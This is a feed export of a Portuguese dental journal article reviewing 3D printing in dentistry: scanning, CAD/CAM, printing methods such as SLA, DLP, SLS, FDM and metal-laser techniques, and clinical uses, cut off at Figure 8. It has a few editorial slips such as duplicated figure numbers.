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	<title>Odontologia &#8211; ISSN 1678-0817 Qualis/DOI</title>
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	<description>Revista Científica de Alto Impacto.</description>
	<lastBuildDate>Thu, 12 Mar 2026 10:35:10 +0000</lastBuildDate>
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	<title>Odontologia &#8211; ISSN 1678-0817 Qualis/DOI</title>
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		<title>IMPRESSÃO 3D NA ODONTOLOGIA: APLICAÇÃO E MÉTODOS DE PRODUÇÃO</title>
		<link>https://revistaft.com.br/impressao-3d-na-odontologia-aplicacao-e-metodos-de-producao/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Tue, 13 Jan 2026 16:56:18 +0000</pubDate>
				<category><![CDATA[Odontologia]]></category>
		<category><![CDATA[Volume 30 - Edição 154/JAN 2026]]></category>
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					<description><![CDATA[3D PRINTING IN DENTISTRY: APPLICATION AND PRODUCTION METHODS REGISTRO DOI: 10.69849/revistaft/cl10202601131355 Dr. Luiz André Dias Telles¹Brenda Baptista Laranjeiras Silva²Camilla Victória Soares Costa da Silva³Igor Sampaio Melo4Renata Fortuna Barros5 RESUMO&#160; A Odontologia está passando por uma evolução, com o incremento de  inovações tecnológicas digitais, que vêm transformando o planejamento e execução de reabilitações estéticas e funcionais. [&#8230;]]]></description>
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<p class="wp-block-paragraph">3D PRINTING IN DENTISTRY: APPLICATION AND PRODUCTION METHODS</p>



<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202601131355</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Dr. Luiz André Dias Telles¹<br>Brenda Baptista Laranjeiras Silva²<br>Camilla Victória Soares Costa da Silva³<br>Igor Sampaio Melo<sup>4</sup><br>Renata Fortuna Barros<sup>5</sup></p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>RESUMO&nbsp;</strong></p>



<p class="wp-block-paragraph">A Odontologia está passando por uma evolução, com o incremento de  inovações tecnológicas digitais, que vêm transformando o planejamento e execução de reabilitações estéticas e funcionais. Por meio da combinação da captação de imagens e uso de softwares específicos, é viável planejar tratamentos com um elevado nível de exatidão e converter essas informações em modelos físicos impressos. Isso proporciona maior conforto aos pacientes, além de minimizar erros, otimizar o tempo de atendimento clínico e aumentar a previsibilidade dos resultados. Este estudo discorre sobre a contribuição da utilização do Fluxo Digital, com ênfase na impressão 3D, para tornar os procedimentos mais eficientes, precisos e individualizados. São abordados os principais métodos de impressão 3D utilizados na Odontologia, apontando suas principais funções, benefícios e possíveis restrições. Estes métodos  são: Estereolitografia a Laser (SLA), Processamento Digital de Luz (DLP), Sinterização Seletiva a Laser (SLS), Modelagem por Fusão e Deposição (FDM), Impressão Tridimensional (3D Printing), Sistema Polijet, Fusão Seletiva a Laser (SLM), Sinterização Direta de Metal a Laser (DMLS) e Fabricação por Feixe de Elétrons Seletivo (EBM). Adicionalmente são relatadas algumas aplicações da impressão 3D nas especialidades odontológicas. Embora os avanços sejam notáveis, o alto custo dos equipamentos, a necessidade de capacitação técnica e algumas limitações dos materiais ainda representam desafios para a ampla adoção dessa tecnologia. Conclui-se que, apesar dos obstáculos e desafios, a impressão 3D se estabelece como um recurso indispensável na Odontologia contemporânea, proporcionando tratamentos mais seguros, precisos e apropriados para sanar as necessidades dos pacientes.<strong> </strong></p>



<p class="wp-block-paragraph"><strong>Palavras-chave</strong>:&nbsp; Fluxo Digital, Impressão 3D e Odontologia digital.</p>



<p class="wp-block-paragraph"><strong>ABSTRACT&nbsp;</strong></p>



<p class="wp-block-paragraph">Dentistry is undergoing an evolution, with the increase in digital technological innovations that are transforming the planning and execution of aesthetic and functional rehabilitations. Through the combination of image capture and the use of specific software, it is possible to plan treatments with a high level of accuracy and convert this information into printed physical models. This provides greater comfort to patients, in addition to minimizing errors, optimizing clinical care time, and increasing the predictability of results. This study discusses the contribution of using Digital Workflow, with an emphasis on 3D printing, to make procedures more efficient, precise, and individualized. The main 3D printing methods used in dentistry are addressed, pointing out their main functions, benefits, and possible limitations. These methods are: Stereolithography Laser (SLA), Digital Light Processing (DLP), Selective Laser Sintering (SLS), Fused Deposition Modeling (FDM), 3D Printing, Polijet System, Selective Laser Melting (SLM), Direct Metal Laser Sintering (DMLS), and Selective Electron Beam Manufacturing (EBM). Additionally, some applications of 3D printing in dental specialties are reported. Although the advances are notable, the high cost of equipment, the need for technical training, and some material limitations still represent challenges to the widespread adoption of this technology. It is concluded that, despite the obstacles and challenges, 3D printing is establishing itself as an indispensable resource in contemporary dentistry, providing safer, more precise, and appropriate treatments to meet patients&#8217; needs.&nbsp;</p>



<p class="wp-block-paragraph"><strong>Keywords</strong>: Digital Workflow, 3D Printing, and Digital Dentistry.</p>



<p class="wp-block-paragraph"><strong>INTRODUÇÃO&nbsp;</strong></p>



<p class="wp-block-paragraph">Com a facilidade de acesso às informações, a procura por um sorriso harmonioso e estético tem se tornado crescente. Os pacientes demandam cada vez mais de tratamentos que ofereçam conforto, eficácia e agilidade, buscando melhorar sua aparência e autoestima (1). Melhorar a saúde bucal, reestabelecendo a função mastigatória e a estética, frequentemente se torna um desafio que envolve diferentes especialidades odontológicas. O planejamento digital informa previamente aos pacientes as opções estéticas e restauradoras e, aliado à impressão 3D, ganhou relevância na prática odontológica (2). O chamado “Fluxo digital”, abrange as etapas desde a captura das imagens, até à confecção de peças por intermédio da impressão tridimensional (3D). Com a implantação desta tecnologia, tornou-se possível a aquisição de imagens intraorais usando scanners, dispensando a necessidade de moldagens convencionais e oferecendo mais conforto ao paciente. Esses scanners intraorais, que variam em tecnologia e aplicação, produzem arquivos digitais que podem ser processados em softwares específicos para o planejamento virtual estático e funcional do sorriso e posterior confecção de modelos de trabalho, proporcionando maior previsibilidade, eficácia e precisão aos procedimentos odontológicos (3). A sequência lógica de utilização destes dispositivos começa com o escaneamento e obtenção de imagens que são processadas e transformadas em imagens computadorizadas tridimensionais. É feito então, o planejamento da peça por meio de um software de desenho do sistema <em>Computer-Aided Design/Computer-Aided Manufacturing </em>(CAD/CAM) e, por fim, a produção aplicando equipamentos de processamento (4). O software de processamento é empregado para determinar as coordenadas tridimensionais e gerar nuvens de informação (pontos e malhas) que são agregadas, possibilitando reconstruir o objeto escaneado, criando com isso, um modelo confiável (5). O escaneamento intraoral de qualidade, gera próteses fixas com funcionalidade clínica comparável ou superior à moldagem convencional (6), além de proporcionar mais conforto ao paciente. O escaneamento intraoral diminui o tempo clínico necessário para o atendimento do paciente, além de estar vinculado a um processo laboratorial mais ágil, reduzindo o tempo total de fabricação, tornando-o ideal para uma gestão mais eficaz do tempo de atendimento clínico (7).&nbsp;</p>



<p class="wp-block-paragraph">A tecnologia digital de impressão 3D começou em 1986, quando Charles Hull, engenheiro graduado pela Universidade do Colorado, apresentou a primeira técnica de impressão tridimensional. Até então, os procedimentos restauradores eram dependentes de métodos analógicos, que exibiam limitações quanto à exatidão e à reprodutibilidade (8). Todavia, nos anos subsequentes, a tecnologia alcançou progressos significativos devido ao processo de modelagem por deposição fundida (FDM) (9). As técnicas de impressão 3D evoluíram consideravelmente&nbsp; no mercado consumidor a partir de 2009, estendendo-se também esta tendência para a indústria odontológica. As impressoras passaram a se tornar mais acessíveis e compactas, resultando em mudanças nas suas aplicações. Agora, são capazes de&nbsp; imprimir vários materiais, e os processos de prototipagem rápida foram categorizados com base nos tipos de materiais utilizados (10).&nbsp; A tecnologia digital de impressão 3D, permitiu a otimização do enceramento odontológico com a criação de protótipos virtuais que podem ser impressos em 3D e convertidos em modelos físicos para avaliação clínica ou confeccionar trabalhos protéticos entre outras aplicações (11). A impressão tridimensional possibilita a construção de um objeto tridimensional a partir de um modelo digital. Em relação aos processos convencionais de fabricação subtrativa, a impressão 3D permite a criação de formas complexas que seriam inviáveis de realizar por outras tecnologias (12). Com aperfeiçoamentos na precisão e desenvolvimento de materiais imprimíveis, diversos setores têm empregado a tecnologia de impressão 3D não apenas para criar protótipos funcionais, mas também para produzir um produto final adequado e acessível às suas aplicações específicas de forma mais eficiente e econômica (13). Na Odontologia, o progresso da tecnologia de impressão 3D e sua utilização são cada vez mais significativas (14). Diante do exposto, o presente estudo tem como objetivo discorrer sobre a aplicabilidade da impressão 3D e sua finalidade no contexto do fluxo digital na Odontologia, enfatizando as diferentes métodos de confecção e os materiais envolvidos nesse processo, proporcionando subsídios aos profissionais para o entendimento dos processos clínicos e laboratoriais.&nbsp;</p>



<p class="wp-block-paragraph"><strong>METODOLOGIA</strong>&nbsp;</p>



<p class="wp-block-paragraph">Trata-se de uma revisão da literatura narrativa, de caráter descritivo e com abordagem qualitativa. O estudo foi desenvolvido com base na busca de literatura científica relacionada ao tema “Fluxo Digital” com ênfase na “Impressão 3D”, seus métodos de obtenção e suas aplicações. Para a pesquisa bibliográfica foram utilizados os termos: “Fluxo Digital”, “Impressão 3D” e “Odontologia Digital”, escritos também na língua inglesa na tentativa de ampliar o potencial na busca.&nbsp; As combinações e variações dos descritores visaram ampliar a probabilidade de encontrar resultados significativos. A seleção foi realizada nos idiomas português, espanhol e inglês, inserindo um filtro para publicações realizadas no período de 2015 à 2025, tendo como estratégia a busca nas bases de dados eletrônicas PubMed, SciELO, Elsevier e o uso do mecanismo de busca Google Acadêmico.&nbsp; Após análise criteriosa dos títulos e resumos, foram incluídos, tendo como critério de elegibilidade, artigos originais, dissertações, teses, revisões sistemáticas, revisões integrativas e revisões bibliográficas. A leitura na íntegra para avaliação de elegibilidade foi realizada apenas para aqueles que não apresentaram informações prévias suficientes relativas aos critérios de inclusão e exclusão. Feita a triagem, os dados considerados relevantes ao estudo, que contemplavam informações pertinentes ao tema, foram extraídos e aproveitados na pesquisa. A análise e síntese dos dados seguiram as seguintes etapas: Elaboração de critérios de inclusão; delimitação das informações a serem extraídas dos estudos selecionados; análise metódica dos estudos incluídos na revisão; avaliação dos resultados obtidos, síntese do conhecimento e formulação de uma organização lógica.&nbsp;</p>



<p class="wp-block-paragraph"><strong>REVISÃO DE LITERATURA&nbsp;</strong></p>



<p class="wp-block-paragraph">A aquisição das imagens para posterior confecção dos biomodelos pode ser realizada por meio do escaneamento, da tomografia computadorizada, ou ambos, fornecendo dados para estudo, enceramento diagnóstico e previsão do resultado final do trabalho (15). Entre as técnicas tomográficas, a Tomografia Computadorizada Cone Bean (TCCB) ou de feixe cônico, emite menores doses de radiação que a tomografia convencional. As imagens podem ser adquiridas em qualquer um dos planos (axial, sagital e coronal) de forma mais rápida e com mínima distorção, garantindo uma exposição mais delimitada (16). Já o escaneamento, inicia-se com um feixe de luz direcionado ao objeto a ser digitalizado. Quando o feixe atinge a superfície alvo, se deforma e duas ou mais câmeras na ponta dos dispositivos do scanner capturam esse efeito (17).&nbsp;</p>



<p class="wp-block-paragraph">Para o escaneamento digital são utilizados os scanners intraorais e os scanners de bancada. Os scanners intraorais são dispositivos que permitem a captura direta das estruturas bucais, eliminando as tradicionais moldagens com materiais de impressão (18). Geram arquivos digitais tridimensionais extremamente fiéis à anatomia dos dentes e dos tecidos gengivais (<em>Figura 1</em>). O uso desse recurso otimiza o tempo clínico tornando-o mais ágil, proporcionando maior conforto ao paciente, minimizando falhas existentes nas técnicas convencionais e garantindo uma precisão elevada nos detalhes, sendo essencial onde a exigência estética e funcional é elevada (19). Dentre as tecnologias de aquisição de imagens por scanner intraoral, a tecnologia MDC (Multidirectional Capture) tem demonstrado menores erros em termos de fidelidade e precisão, em comparação com as tecnologias confocal e de luz estruturada (17).</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 1- </strong>C<strong>aptação das imagens pelo scanner (A) e obtenção de arquivo digital (B).</strong></p>



<figure class="wp-block-image aligncenter size-full"><img fetchpriority="high" decoding="async" width="525" height="270" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-214.png" alt="" class="wp-image-262441" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-214.png 525w, https://revistaft.com.br/wp-content/uploads/2026/01/image-214-300x154.png 300w" sizes="(max-width: 525px) 100vw, 525px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>&nbsp;Fonte: Os autores.&nbsp;</strong></p>



<p class="wp-block-paragraph">Os scanners de bancada (Figura 2) são empregados na digitalização de modelos físicos confeccionados previamente em gesso ou resina. Eles são basicamente utilizados em laboratórios de prótese dentária, em situações em que a moldagem convencional foi realizada primeiro, e na sequência este modelo é digitalizado. A escolha entre eles dependerá da estrutura disponível, do objetivo, e das particularidades de cada caso clínico. Ambos os métodos são importantes para assegurar a precisão dimensional dos modelos 3D, com impacto direto na qualidade e previsibilidade dos tratamentos realizados (20).&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 2- Escaneamento de modelo físico (A) e aquisição de arquivo digital (B).</strong></p>



<figure class="wp-block-image aligncenter size-full"><img decoding="async" width="577" height="295" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-215.png" alt="" class="wp-image-262442" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-215.png 577w, https://revistaft.com.br/wp-content/uploads/2026/01/image-215-300x153.png 300w" sizes="(max-width: 577px) 100vw, 577px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>&nbsp;Fonte: Os autores.&nbsp;</strong></p>



<p class="wp-block-paragraph">O uso de softwares de CAD|CAM, possibilita criar peças totalmente personalizadas e adaptadas à anatomia de cada paciente, favorecendo os resultados estéticos e funcionais. O software indicado para desenho dentário, conhecido como D-CAD, funciona como uma ferramenta intuitiva para os profissionais. Contudo, a flexibilidade para desenvolver projetos virtuais é mais restrita, devido ao custo por versão ou pacote adquirido, quando confrontado com o software de projeto não específico GCAD (21). Em reabilitações mais complexas, a reprodução com alta fidelidade dos detalhes anatômicos se mostra bastante útil. Os modelos digitais criados podem ser virtualmente arquivados, reduzindo a necessidade de espaço físico para armazenamento de moldes de gesso (22). Apesar destes benefícios, a aplicação desta tecnologia ainda possui alguns entraves como a necessidade de preparo profissional e conhecimento técnico especializado para o manuseio das impressoras, o alto custo para aquisição dos equipamentos, e a manutenção periódica de softwares CAD|CAM (23). Terminada esta etapa, o modelo digital será enviado para uma impressora 3D que irá transformar o arquivo virtual em um objeto físico tridimensional. A impressão tridimensional (3D) também, conhecida como manufatura aditiva ou prototipagem rápida, tem como&nbsp; principais vantagens: a economia no custo de criação das peças, sem restos ou sobras; a ajustabilidade com a possibilidade de modificação no arquivo digital; a otimização de tempo de desenvolvimento, sem a necessidade de criação de moldes e&nbsp; o operador não necessita de conhecimentos matemáticos especializados, pois o desenho estrutural se molda a partir de medidas geométricas e proporções realizadas pelo software (24). Na tecnologia digital, as técnicas aditivas envolvem a adição de material em camadas que são fundidas uma a uma, formando a peça desejada ao final do processo (25). Na Odontologia, há uma variedade de técnicas de fabricação utilizando a impressão tridimensional, cada uma destinada a um uso específico, podendo ser usados materiais como polímeros sintéticos, materiais cerâmicos ou metais (14). A maior diferença entre cada categoria está no estado físico do&nbsp; material usado (líquidos, sólidos e em pó)&nbsp; e no indutor da reação de polimerização (calor, luz ultravioleta, laser ou elétron). Dentre as técnicas utilizadas estão a Estereolitografia (SLA), o Processamento Digital de Luz (DLP), a Sinterização Seletiva a Laser (SLS), a Modelagem por Deposição Fundida (FDM), a Impressão Tridimensional (impressão 3D), o Sistema Polyjet, a Fusão Seletiva a Laser (SLM), a Sinterização Direta de Metal a Laser (DMLS) e o Feixe de Elétrons Seletivo (EBM) (26)(16). A seguir são descritas cada uma dessas técnicas&nbsp; para obtenção de uma impressão 3D:&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>Estereolitografia a Laser (SLA)&nbsp;</strong></p>



<p class="wp-block-paragraph">A Estereolitografia a Laser é uma das técnicas mais usadas em decorrência da precisão elevada, alta resistência e boa lisura superficial. O biomodelo é construído camada por camada, a partir da polimerização de uma resina líquida fotossensível e de baixo peso molecular composta por monômeros, fotoiniciadores e aditivos (27). Esse processo ocorre por meio da emissão por galvanômetros de um feixe de luz ultravioleta (UV) com comprimento de onda entre 385 nm e 405 nm. Essa luz reflete em um espelho que se move para formar a imagem pré-determinada sobre a plataforma, promovendo a solidificação do material conforme prévia definição (16). Formatado o modelo, este é imerso em um solvente para remoção dos monômeros residuais não curados, passando na sequência, por um forno de luz UV para a polimerização da resina e cura completa da peça. Esta técnica pode ser usada para produzir guias cirúrgicos de implantes, alinhadores ortodônticos, coroas totais (Figura 3), entre outras aplicações (28).&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 2- Peça impressa sem acabamento (A) e Acabamento final da peça (B).</strong></p>



<figure class="wp-block-image aligncenter size-full"><img decoding="async" width="611" height="203" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-216.png" alt="" class="wp-image-262444" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-216.png 611w, https://revistaft.com.br/wp-content/uploads/2026/01/image-216-300x100.png 300w" sizes="(max-width: 611px) 100vw, 611px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte: </strong>&nbsp;<strong>https://zortrax.com/resins/raydent-crown.&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>Processamento Digital de Luz (DLP)</strong>&nbsp;</p>



<p class="wp-block-paragraph">A DLP também utiliza a polimerização de resina líquida, mas diferencia-se da SLA, pois a luz UV é emitida de um projetor e incide diretamente sobre o tanque que contém a resina, produzindo a imagem correspondente a cada camada do biomodelo que será formado. Essa tecnologia é relativamente mais rápida e econômica comparada à SLA, e proporciona a obtenção de biomodelos com superfícies lisas (29).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Na aquisição do modelo pelas técnicas DLP e SLA, existe a necessidade de exposição posterior à luz UV para finalizar a polimerização do material, pois no processo, a resina atinge cerca de 80% de polimerização. Os fotoiniciadores do material, a intensidade de radiação UV e a temperatura de cura, podem ocasionar uma contração dimensional do material, pela acentuada formação de ligações covalentes entre os monômeros. Estas duas tecnologias têm custo elevado, permitindo somente a produção de modelos a partir de resinas líquidas. Como desvantagens, os protótipos podem causar irritações no epitélio bucal do paciente devido à permanência de monômeros residuais do modelo e também são propensos a apresentar durabilidade reduzida, limitando o uso em algumas aplicações (16).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>Sinterização Seletiva a Laser (SLS)</strong>&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">A Sinterização Seletiva a Laser (SLS) é uma técnica empregada na fabricação de objetos sólidos. A produção inicia com um software CAD, que possibilita a elaboração de um modelo tridimensional do objeto pretendido. Em seguida, o software cria seções finas desse modelo para que o laser possa realizar a impressão (30). Esse sistema utiliza um feixe de laser para fundir seletivamente as partículas de um polímero em pó, por meio da impressão de camadas sucessivas, formando assim o objeto sólido final (Figura 4). Neste processo, o pó é espalhado e nivelado na plataforma onde a peça será fabricada. Essa base é aquecida tornando a resina líquida, sendo então aplicada, formando a primeira camada em seguida, são agregadas as camadas posteriores com ativação pelo calor. O objeto é imerso em um solvente que removerá a resina não curada e finalmente conduzido a um forno ultravioleta para a complementação do processo (31).</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 15- Impressora 3D SLS.</strong></p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="574" height="333" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-217.png" alt="" class="wp-image-262446" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-217.png 574w, https://revistaft.com.br/wp-content/uploads/2026/01/image-217-300x174.png 300w" sizes="(max-width: 574px) 100vw, 574px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte: </strong><a href="https://www.youtube.com/watch?v=oV8Q6bLrMTU"><strong>https://www.youtube.com/watch?v=oV8Q6bLrMTU&nbsp;</strong></a></p>



<p class="wp-block-paragraph">Essa técnica permite a utilização de diferentes materiais, expandindo suas opções de uso tanto na clínica quanto no laboratório (32).&nbsp;</p>



<p class="wp-block-paragraph"><strong>Modelagem por Fusão e Deposição (FDM)</strong>&nbsp;</p>



<p class="wp-block-paragraph">Ela funciona com a fusão de filamentos termoplásticos, podendo ser poliéster, cera ou resina, que são depositados em camadas para formar o objeto. O ácido polilático, a acrilonitrila butadieno estireno, o policarbonato e PEEK &#8211; poli (éter-éter cetona), são os polímeros termoplásticos utilizados na técnica. O aparelho possui 3 eixos com 2 bicos extrusores que se movimentam nos eixos X e Y (Figura 5). O material é extruído nos orifícios depois de aquecido até sua forma semilíquida. As camadas sobrepostas se solidificam rapidamente na plataforma que se movimenta no eixo Z (33). A FDM tem como vantagens, a rapidez na produção, e a possibilidade de criar peças em diferentes cores com custo reduzido. A qualidade na FDM depende da velocidade de extrusão do material, da fluidez e do tamanho de cada camada. Uma desvantagem é o chamado “efeito escada”, que acontece em razão da sobreposição das camadas e aparece nas superfícies inclinadas ou curvas (34). Pode ser minimizado utilizando camadas delgadas, melhorando com isso o acabamento visual do modelo. É útil na produção de protótipos que não necessitam de muitos detalhes anatômicos, pois sua precisão é menor que as outras técnicas, além de resistência variável e alta porosidade (29).</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="622" height="278" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-218.png" alt="" class="wp-image-262448" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-218.png 622w, https://revistaft.com.br/wp-content/uploads/2026/01/image-218-300x134.png 300w" sizes="(max-width: 622px) 100vw, 622px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte: https://www.youtube.com/ watch?v=1bfYIQcXvRg</strong></p>



<p class="has-text-align-center wp-block-paragraph">                                      <strong>Fonte: https://3dlab.com.br&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>Impressão Tridimensional</strong> <strong>(3D Printing)</strong>&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Sistema baseado em jato de tinta, onde os protótipos são constituídos por um pó cerâmico, um polímero e um agente aglutinante. Possui 3 eixos: X, Y e Z como na técnica FDM. O cabeçote com o agente aglutinante nos dois primeiros movimentos se desloca, e em seguida, libera o conteúdo sobre o pó cerâmico e o polímero que estão na mesma plataforma, que se move no eixo Z. A polimerização do material pode ser realizada por radiação ultravioleta, reação química, calor ou secagem. Desta maneira, é formada camada por camada em alta velocidade e pode-se criar modelos coloridos com jatos de tinta na impressão, com menor custo (16) (35).&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>Sistema Polyjet&nbsp;</strong></p>



<p class="wp-block-paragraph">O material usado é um líquido fotossensível translúcido, disposto em um tanque onde é solidificado por meio da emissão de luz ultravioleta. Uma peça contendo quatro ou mais cabeçotes de jato de tinta e lâmpadas ultravioleta (UV), percorre a área de trabalho, depositando gotas minúsculas de fotopolímeros, que são substâncias que se solidificam ao serem expostas à luz UV (Figura 6). Após a impressão de uma fina camada de material, o processo é repetido até que um objeto 3D esteja completamente formado (36). Uma variedade de materiais pode ser empregada, levando-se em consideração a densidade, dureza e a resistência. O processo é rápido e permite a manufatura de réplicas mais complexas, além da manutenção do aparelho ser mais simples que algumas outras técnicas (13).</p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="604" height="244" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-219.png" alt="" class="wp-image-262450" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-219.png 604w, https://revistaft.com.br/wp-content/uploads/2026/01/image-219-300x121.png 300w" sizes="(max-width: 604px) 100vw, 604px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>Fonte: </strong><a href="https://www.stratasys.com/"><strong>https://www.stratasys.com&nbsp;</strong></a></p>



<p class="wp-block-paragraph"><strong>Fusão Seletiva a Laser (SLM)</strong>&nbsp;</p>



<p class="wp-block-paragraph">Com esta tecnologia é viável imprimir peças metálicas usando quase todos os tipos de liga metálica. Para evitar reações químicas indesejadas quando exposto a altas temperaturas e garantir a qualidade do processo, o material em pó é inserido em uma câmara com atmosfera controlada a vácuo ou com gás inerte (16).&nbsp;</p>



<p class="wp-block-paragraph">Para se obter modelos com alta definição, lisura de superfície e propriedades mecânicas satisfatórias, o laser utilizado nesse método possui alta densidade de energia e um foco extremamente preciso. Por conta dessa precisão, em muitos casos não é preciso realizar processos de acabamento pós impressão. É uma alternativa considerada quando se quer qualidade, resistência e detalhamento em peças metálicas, apesar do processamento mais lento e custo mais elevado (37).&nbsp;</p>



<p class="wp-block-paragraph"><strong>Sinterização Direta de Metal a Laser (DMLS) </strong>&nbsp;</p>



<p class="wp-block-paragraph">O processo de DMLS utiliza um laser seletivo de fibra como fonte de energia para produzir peças através da fusão e empilhamento simultâneo do material em altas temperaturas de construção, resultando na forma desejada da peça. O processo inicia, com aplicação de uma fina camada de pó metálico de 20–100 μm de espessura que é espalhada pelo revestidor sobre a plataforma de construção. Em seguida, um feixe de laser é utilizado e percorre a superfície para fundir seletivamente as seções da camada de pó, solidificando seletivamente o material conforme a geometria definida pelo arquivo CAD da primeira camada da peça. O pó é fundido à base ou nas camadas já sinterizadas, permitindo a formação do objeto de forma precisa e controlada (25).&nbsp;</p>



<p class="wp-block-paragraph">O laser é aplicado em uma câmara preenchida com gás inerte, podendo ser gás argônio (Ar) ou nitrogênio (N2) purificado, que ajudam no resfriamento dos componentes e protegem a peça contra oxidação durante a fabricação garantindo maior pureza. É necessário resfriamento adequado após a conclusão do processo, pois um resfriamento abrupto pode causar acúmulo de tensões residuais dentro das peças, afetando sua qualidade e propriedades (38). Para evitar esse problema, pode-se utilizar uma placa com temperatura elevada para manter a peça aquecida e evitar o acúmulo de tensões (39).&nbsp;</p>



<p class="wp-block-paragraph">A potência do laser, a velocidade e outros parâmetros podem ser controlados , assim como o tamanho das partículas de pó, que pode ser selecionado entre as opções disponíveis pelo fabricante (40).&nbsp;</p>



<p class="wp-block-paragraph"><strong>Feixe de Elétrons Seletivo (EBM)</strong>&nbsp;</p>



<p class="wp-block-paragraph">As peças obtidas por esse processo são formadas a partir de pó metálico, que é fundido camada por camada com o uso de um feixe de elétrons em ambiente de alto vácuo, direcionado por um campo magnético (Figura 7). Uma das principais vantagens dessa tecnologia é a capacidade de fabricar componentes com materiais de alta densidade e peso elevado (39). Apenas as técnicas DMLS e EBM são capazes de fundir completamente o pó de metal e tem como principais diferenças, a fonte de energia utilizada, as condições da câmara, a temperatura alcançada, o tamanho do grão e a espessura da camada (25) Na área odontológica, a impressora 3D que utiliza o método EBM é especialmente aplicada em procedimentos como a cirurgia maxilofacial, uma vez que esse tipo de intervenção requer estruturas porosas feitas de titânio.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 7- Esquema de funcionamento do Feixe de Elétrons Seletivo.</strong></p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="418" height="356" src="https://revistaft.com.br/wp-content/uploads/2026/01/image-220.png" alt="" class="wp-image-262452" srcset="https://revistaft.com.br/wp-content/uploads/2026/01/image-220.png 418w, https://revistaft.com.br/wp-content/uploads/2026/01/image-220-300x256.png 300w" sizes="(max-width: 418px) 100vw, 418px" /></figure>



<p class="has-text-align-center wp-block-paragraph"><strong>&nbsp;Fonte: Os autores&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>Aplicação na Odontologia</strong>&nbsp;</p>



<p class="wp-block-paragraph">São várias as aplicações da impressão 3D na Odontologia a partir do planejamento feito dos modelos virtuais obtidos no escaneamento (Figura 8). Em Reabilitação Oral, auxilia na confecção de modelos de estudo e placas interoclusais para o tratamento de bruxismo e &nbsp;disfunção temporomandibular (DTM). Na Implantodontia com guias cirúrgicos para implantes e bandejas personalizadas, entre outros (34). Na Prótese Dentária possibilita a produção de próteses mais leves, fortes e resistentes, com maior aderência à gengiva e menor chance de inflamação (27). São exemplos da utilização, as moldeiras individuais, modelos de estudo, coppings, próteses metálicas unitárias ou pontes, e estruturas para próteses parciais removíveis. São fabricados para a prática da Cirurgia e Traumatologia Bucomaxilofacial, os guias e, talas cirúrgicas, placa oclusal, modelo de trabalho, scaffolds, placas de titânio, próteses reparadoras maxilofaciais, modelos anatômicos e implantes cirúrgicos.&nbsp; Contribui na produção de modelos anatômicos realistas auxiliando o planejamento e execução da cirurgia de forma mais eficaz, resultando em melhores resultados pós operatórios. planejamento pré-operatório de anomalias dentofaciais complexas (12). Para a Ortodontia, pode ser usada como ferramenta para diagnóstico e planejamento de tratamento, identificação da posição exata do canino impactado e a relação anatômica com os demais dentes, fabricação de acessórios metálicos para tração canina, além de aparelhos ortodônticos personalizados, alinhadores ortodônticos e placas miorrelaxantes. Na Periodontia são aplicadas na produção de estruturas (scaffolds) que auxiliam a regeneração de tecidos duros e moles, guias cirúrgicos e modelos de estudo. Na Endodontia, a tecnologia de impressão 3D tem servido a diversos propósitos, incluindo o preparo da cavidade de acesso, procedimentos de apicectomia, visualização completa do sistema de canais radiculares, verificação do tamanho da lesão apical, bem como casos de reabsorção radicular. Há muitos estudos que relatam a alta precisão do preparo guiado da cavidade usando uma guia de acesso impressa em 3D (14).</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Figura 8</strong>: Modelos virtuais para planejamento de próteses e implantes.</p>



